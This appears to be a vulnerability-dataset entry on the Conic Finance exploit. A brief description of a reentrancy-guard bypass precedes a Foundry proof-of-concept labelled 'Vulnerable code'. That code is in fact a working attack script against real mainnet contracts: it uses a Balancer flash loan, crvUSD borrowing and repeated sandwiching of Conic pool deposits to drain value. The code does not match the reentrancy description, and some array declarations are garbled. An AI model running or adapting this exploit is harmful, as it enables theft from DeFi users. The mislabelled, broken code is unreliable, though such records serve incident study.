HIGH severity: Conic Finance 02 — Incorrect assumption about the address returned by the Curve element registry for ETH as the underlying for the Curve v2 pool.
Specifically, the Conic ETH Omnipool uses the `CurveHandlerV3` to check whether we are currently in a reentrant call. This check was only executed if the pool being interacted with contains ETH, which was checked by calling the `_isETH` method. Our assumption was that Curve v2 pools using ETH have the ETH address (`0xeee…eee`) as one of their coins. However, they instead have the WETH address. This led to `_isETH` returning false, and in turn, to the reentrancy guard of the rETH pool being bypassed.
After bypass the check, attacker can manipulate the price of rETH Curve LP Token.. https://twitter.com/spreekaway/status/1682467603518726144

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
interface IConicPool {
    function deposit(uint256 underlyingAmount, uint256 minLpReceived, bool stake) external returns (uint256);

    function withdraw(uint256 conicLpAmount, uint256 minUnderlyingReceived) external returns (uint256);
}

interface IcrvUSDController {
    function create_loan(uint256 collateral, uint256 debt, uint256 N) external payable;

    function repay(uint256 _d_debt, address _for, int256 max_active_band, bool use_eth) external;
}

contract ContractTest is Test {
    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
    IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    IERC20 crvUSD = IERC20(0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E);
    IERC20 cncCRVUSD = IERC20(0xB569bD86ba2429fd2D8D288b40f17EBe1d0f478f);
    IConicPool ConicPool = IConicPool(0x369cBC5C6f139B1132D3B91B87241B37Fc5B971f);
    IcrvUSDController crvUSDController = IcrvUSDController(0xA920De414eA4Ab66b97dA1bFE9e6EcA7d4219635);
    ICurvePool crvUSD_USDT_Pool = ICurvePool(0x390f3595bCa2Df7d23783dFd126427CCeb997BF4);
    ICurvePool crvUSD_USDC_Pool = ICurvePool(0x4DEcE678ceceb27446b35C672dC7d61F30bAD69E);
    IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);

    function setUp() public {
        vm.createSelectFork("mainnet", 17_743_470);
        vm.label(address(USDT), "USDT");
        vm.label(address(USDC), "USDC");
        vm.label(address(crvUSD), "crvUSD");
        vm.label(address(cncCRVUSD), "cncCRVUSD");
        vm.label(address(ConicPool), "ConicPool");
        vm.label(address(crvUSDController), "crvUSDController");
        vm.label(address(crvUSD_USDT_Pool), "crvUSD_USDT_Pool");
        vm.label(address(crvUSD_USDC_Pool), "crvUSD_USDC_Pool");
        vm.label(address(Balancer), "Balancer");
    }

    function testExploit() external {
        USDC.approve(address(crvUSD_USDC_Pool), type(uint256).max);
        address(USDT).call(
            abi.encodeWithSignature("approve(address,uint256)", address(crvUSD_USDT_Pool), type(uint256).max)
        );
        WETH.approve(address(crvUSDController), type(uint256).max);
        crvUSD.approve(address(crvUSDController), type(uint256).max);
        crvUSD.approve(address(crvUSD_USDC_Pool), type(uint256).max);
        crvUSD.approve(address(crvUSD_USDT_Pool), type(uint256).max);
        crvUSD.approve(address(ConicPool), type(uint256).max);

        address;
        tokens;
        amounts[0] = 12_000_000 * 1e6;
        amounts[1] = 80_000 ether;
        amounts[2] = 9_000_000 * 1e6;
        bytes memory userData = "";
        Balancer.flashLoan(address(this), tokens, amounts, userData);

        emit log_named_decimal_uint(
            "Attacker crvUSD balance after exploit", crvUSD.balanceOf(address(this)), crvUSD.decimals()
        );
    }

    function receiveFlashLoan(
        address[] memory tokens,
        uint256[] memory amounts,
        uint256[] memory feeAmounts,
        bytes memory userData
    ) external {
        crvUSDController.create_loan(80_000 ether, 93_000_000 ether, 10); // deposit WETH, borrow crvUSD

        crvUSDToUSDCAndUSDT(19_000_000 ether, 27_000_000 ether); // swap crvUSD to USDT and USDC, crvUSD price reduction
        ConicPool.deposit(crvUSD.balanceOf(address(this)), 0, false); // deposit crvUSD to ConicPool, add crvUSD to crvUSD_USDT_Pool and crvUSD_USDC_Pool, crvUSD prices reduced further
        USDCAndUSDTTocrvUSD(USDC.balanceOf(address(this)), USDT.balanceOf(address(this))); // swap USDC and USDT to crvUSD, crvUSD prices increased, earn more crvUSD
        ConicPool.withdraw(cncCRVUSD.balanceOf(address(this)), 0); // withdraw cncCRVUSD from ConicPool, remove crvUSD from crvUSD_USDT_Pool and crvUSD_USDC_Pool, crvUSD prices increased

        sandWich();
        sandWich();
        sandWich();

        crvUSD_USDT_Pool.exchange(1, 0, 9_000_000 ether, 0); // swap crvUSD to USDT
        crvUSD_USDC_Pool.exchange(1, 0, 12_000_000 ether, 0); // swap crvUSD to USDC
        USDC.transfer(address(Balancer), amounts[0] + feeAmounts[0]);
        address(USDT).call(
            abi.encodeWithSignature("transfer(address,uint256)", address(Balancer), amounts[2] + feeAmounts[2])
        );

        crvUSD_USDT_Pool.exchange(0, 1, USDT.balanceOf(address(this)), 0); // swap USDT to crvUSD
        crvUSD_USDC_Pool.exchange(0, 1, USDC.balanceOf(address(this)), 0); // swap USDC to crvUSD
        crvUSDController.repay(93_000_000 ether, address(this), int256(2 ** 255 - 1), false);
        WETH.transfer(address(Balancer), amounts[1]);
    }

    function crvUSDToUSDCAndUSDT(uint256 swapAmount1, uint256 swapAmount2) internal {
        crvUSD_USDT_Pool.exchange(1, 0, swapAmount1, 0); // swap crvUSD to USDT
        crvUSD_USDC_Pool.exchange(1, 0, swapAmount2, 0); // swap crvUSD to USDC
    }

    function USDCAndUSDTTocrvUSD(uint256 swapAmount1, uint256 swapAmount2) internal {
        crvUSD_USDC_Pool.exchange(0, 1, swapAmount1, 0); // swap USDT to crvUSD
        crvUSD_USDT_Pool.exchange(0, 1, swapAmount2, 0); // swap USDC to crvUSD
    }

    function sandWich() internal {
        crvUSDToUSDCAndUSDT(28_000_000 ether, 39_000_000 ether);
        ConicPool.deposit(crvUSD.balanceOf(address(this)), 0, false);
        USDCAndUSDTTocrvUSD(USDC.balanceOf(address(this)), USDT.balanceOf(address(this)));
        ConicPool.withdraw(cncCRVUSD.balanceOf(address(this)), 0);
    }
}

Vulnerability type: Reentrancy